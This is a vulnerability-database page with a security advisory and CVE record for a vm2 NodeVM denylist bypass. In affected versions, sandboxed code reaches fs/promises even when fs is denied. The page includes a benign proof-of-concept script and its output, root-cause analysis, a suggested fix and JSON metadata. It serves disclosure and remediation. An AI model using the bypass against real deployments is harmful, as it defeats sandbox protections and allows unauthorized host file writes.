Vulnerability-Lookup

GHSA-6RH5-QQ4Q-97XH

Vulnerability from github – Published: 2026-10-01 15:36 – Updated: 2026-10-01 15:36

Summary

vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes

Details

Summary

NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.

With the following configuration:

require: {
  builtin: ['*', '-fs', '-child_process']
}

require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.

Affected Mode

NodeVM.

Affected Configuration

new NodeVM({
  require: {
    builtin: ['*', '-fs', '-child_process']
  }
});

This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.

Affected Files / Functions

lib/builtin.js
DANGEROUS_BUILTINS
BUILTIN_MODULES
makeBuiltinsFromLegacyOptions
addDefaultBuiltin
lib/resolver.js
Resolver.resolve
Resolver.loadBuiltinModule
lib/setup-node-sandbox.js
requireImpl

Root Cause

lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:

if (builtins.indexOf(`-${name}`) === -1) {
  addDefaultBuiltin(res, name, hostRequire);
}

This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.

There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').

Security Boundary Crossed

Sandboxed code can perform host filesystem writes even though the embedder denied fs.

Impact

Confirmed impact:

Host file creation
Host file write

The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.

Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.

Safe Local Reproduction

Tested on Node.js v24.14.0.

This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.

'use strict';

const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');

const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;

try {
  fs.unlinkSync(proofPath);
} catch (_) {}

(async () => {
  const vm = new NodeVM({
    require: {
      builtin: ['*', '-fs', '-child_process']
    }
  });

  const result = await vm.run(`
    module.exports = (async () => {
      const r = {};

      try {
        require('fs');
        r.fsLoaded = true;
      } catch (e) {
        r.fsBlocked = true;
        r.fsError = e && e.code;
      }

      try {
        require('child_process');
        r.childProcessLoaded = true;
      } catch (e) {
        r.childProcessBlocked = true;
        r.childProcessError = e && e.code;
      }

      const fsp = require('fs/promises');
      r.fsPromisesLoaded = true;
      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();

      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
      r.wrote = true;

      return r;
    })();
  `);

  const exists = fs.existsSync(proofPath);
  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;

  console.log(JSON.stringify({
    result,
    hostFileExists: exists,
    hostFileContent: content
  }, null, 2));

  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
})().catch(error => {
  try {
    fs.unlinkSync(proofPath);
  } catch (_) {}
  console.error(error);
  process.exitCode = 1;
});

Observed result:

{
  "result": {
    "fsBlocked": true,
    "fsError": "ENOTFOUND",
    "childProcessBlocked": true,
    "childProcessError": "ENOTFOUND",
    "fsPromisesLoaded": true,
    "wrote": true
  },
  "hostFileExists": true,
  "hostFileContent": "vm2-fs-promises-marker-<pid>"
}

Additional local checks:

require('node:fs/promises') also loads and can write the proof file.
Adding -fs/promises blocks require('fs/promises').
Adding only -node:fs/promises does not block require('fs/promises').

Expected Secure Behavior

If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:

fs
fs/promises
node:fs
node:fs/promises

Negative entries with and without node: should be normalized consistently.

Suggested Fix

Normalize builtin names before allow/deny checks:
Strip node: for comparison.
Use one canonical key form internally.
Treat negative builtin entries as family denials where appropriate:
-fs should block fs/promises.
-inspector already conceptually blocks inspector/promises; apply the same family logic to user-provided negative entries.
Add regression tests for:
builtin: ['*', '-fs'] blocks fs/promises.
builtin: ['*', '-fs'] blocks node:fs/promises.
-node:fs/promises and -fs/promises behave equivalently.
Explicit allowlist behavior is documented and covered.

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T15:36:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNodeVM\u0027s builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`.\n\nWith the following configuration:\n\n```js\nrequire: {\n  builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n}\n```\n\n`require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` are blocked, but `require(\u0027fs/promises\u0027)` and `require(\u0027node:fs/promises\u0027)` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n  }\n});\n```\n\nThis affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `\u0027*\u0027` builtin wildcard.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `DANGEROUS_BUILTINS`\n  - `BUILTIN_MODULES`\n  - `makeBuiltinsFromLegacyOptions`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n  - `Resolver.loadBuiltinModule`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n\n## Root Cause\n\n`lib/builtin.js` builds `BUILTIN_MODULES` from Node\u0027s builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\nThis means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`.\n\nThere is also inconsistent `node:` prefix handling. `require(\u0027node:fs/promises\u0027)` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require(\u0027fs/promises\u0027)`.\n\n## Security Boundary Crossed\n\nSandboxed code can perform host filesystem writes even though the embedder denied `fs`.\n\n## Impact\n\nConfirmed impact:\n\n- Host file creation\n- Host file write\n\nThe proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string.\n\nAdditional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.\n\n```js\n\u0027use strict\u0027;\n\nconst fs = require(\u0027fs\u0027);\nconst os = require(\u0027os\u0027);\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(\u0027./\u0027);\n\nconst proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);\nconst marker = `vm2-fs-promises-marker-${process.pid}`;\n\ntry {\n  fs.unlinkSync(proofPath);\n} catch (_) {}\n\n(async () =\u003e {\n  const vm = new NodeVM({\n    require: {\n      builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027]\n    }\n  });\n\n  const result = await vm.run(`\n    module.exports = (async () =\u003e {\n      const r = {};\n\n      try {\n        require(\u0027fs\u0027);\n        r.fsLoaded = true;\n      } catch (e) {\n        r.fsBlocked = true;\n        r.fsError = e \u0026\u0026 e.code;\n      }\n\n      try {\n        require(\u0027child_process\u0027);\n        r.childProcessLoaded = true;\n      } catch (e) {\n        r.childProcessBlocked = true;\n        r.childProcessError = e \u0026\u0026 e.code;\n      }\n\n      const fsp = require(\u0027fs/promises\u0027);\n      r.fsPromisesLoaded = true;\n      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();\n\n      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, \u0027utf8\u0027);\n      r.wrote = true;\n\n      return r;\n    })();\n  `);\n\n  const exists = fs.existsSync(proofPath);\n  const content = exists ? fs.readFileSync(proofPath, \u0027utf8\u0027) : null;\n\n  console.log(JSON.stringify({\n    result,\n    hostFileExists: exists,\n    hostFileContent: content\n  }, null, 2));\n\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n})().catch(error =\u003e {\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nObserved result:\n\n```json\n{\n  \"result\": {\n    \"fsBlocked\": true,\n    \"fsError\": \"ENOTFOUND\",\n    \"childProcessBlocked\": true,\n    \"childProcessError\": \"ENOTFOUND\",\n    \"fsPromisesLoaded\": true,\n    \"wrote\": true\n  },\n  \"hostFileExists\": true,\n  \"hostFileContent\": \"vm2-fs-promises-marker-\u003cpid\u003e\"\n}\n```\n\nAdditional local checks:\n\n- `require(\u0027node:fs/promises\u0027)` also loads and can write the proof file.\n- Adding `-fs/promises` blocks `require(\u0027fs/promises\u0027)`.\n- Adding only `-node:fs/promises` does not block `require(\u0027fs/promises\u0027)`.\n\n## Expected Secure Behavior\n\nIf an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including:\n\n- `fs`\n- `fs/promises`\n- `node:fs`\n- `node:fs/promises`\n\nNegative entries with and without `node:` should be normalized consistently.\n\n## Suggested Fix\n\n1. Normalize builtin names before allow/deny checks:\n   - Strip `node:` for comparison.\n   - Use one canonical key form internally.\n\n2. Treat negative builtin entries as family denials where appropriate:\n   - `-fs` should block `fs/promises`.\n   - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries.\n\n3. Add regression tests for:\n   - `builtin: [\u0027*\u0027, \u0027-fs\u0027]` blocks `fs/promises`.\n   - `builtin: [\u0027*\u0027, \u0027-fs\u0027]` blocks `node:fs/promises`.\n   - `-node:fs/promises` and `-fs/promises` behave equivalently.\n   - Explicit allowlist behavior is documented and covered.",
  "id": "GHSA-6rh5-qq4q-97xh",
  "modified": "2026-10-01T15:36:49Z",
  "published": "2026-10-01T15:36:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92958"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/59d35f68e52a9bd229a8a72bcd9274bd4cec2bc5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes"
}

CVE-2026-92958 (GCVE-0-2026-92958)

Vulnerability from cvelistv5 – Published: 2026-09-17 13:46 – Updated: 2026-09-18 19:35

Title

vm2 before 3.11.7 Denylist Bypass via fs/promises

Summary

vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.

Severity

8.4 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L

8.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-18 19:35 UTC

CWE

CWE-269 - Improper Privilege Management

Assigner

VulnCheck mitre root Scorecard

References

2 references

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	vendor-advisory
https://www.vulncheck.com/advisories/vm2-before-3…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
patriksimek	vm2	Affected: 0 , < 3.11.7 (semver) Unaffected: 3.11.7 (semver)

Date Public

2026-08-24 00:00

Credits

nasaa0x rexpository sangnigege manus-use

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-92958",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-18T19:35:41.669234Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-18T19:35:47.679Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/vm2",
          "product": "vm2",
          "vendor": "patriksimek",
          "versions": [
            {
              "lessThan": "3.11.7",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "3.11.7",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "nasaa0x"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "rexpository"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "sangnigege"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "manus-use"
        }
      ],
      "datePublic": "2026-08-24T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: [\u0027*\u0027, \u0027-fs\u0027, \u0027-child_process\u0027] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require(\u0027fs/promises\u0027) or require(\u0027node:fs/promises\u0027) and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require(\u0027fs/promises\u0027)). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.4,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "LOW",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          },
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        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 8.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-269",
              "description": "Improper Privilege Management",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-17T13:46:15.549Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-6rh5-qq4q-97xh)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh"
        },
        {
          "name": "VulnCheck Advisory: vm2 before 3.11.7 Denylist Bypass via fs/promises",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises"
        }
      ],
      "title": "vm2 before 3.11.7 Denylist Bypass via fs/promises",
      "x_generator": {
        "engine": "vulncheck-endgame"
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  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-92958",
    "datePublished": "2026-09-17T13:46:15.549Z",
    "dateReserved": "2026-09-17T12:43:31.527Z",
    "dateUpdated": "2026-09-18T19:35:47.679Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-6RH5-QQ4Q-97XH

Summary

Affected Mode

Affected Configuration

Affected Files / Functions

Root Cause

Security Boundary Crossed

Impact

Safe Local Reproduction

Expected Secure Behavior

Suggested Fix

CVE-2026-92958 (GCVE-0-2026-92958)

Tags

Sightings

Nomenclature

Related by attack behaviour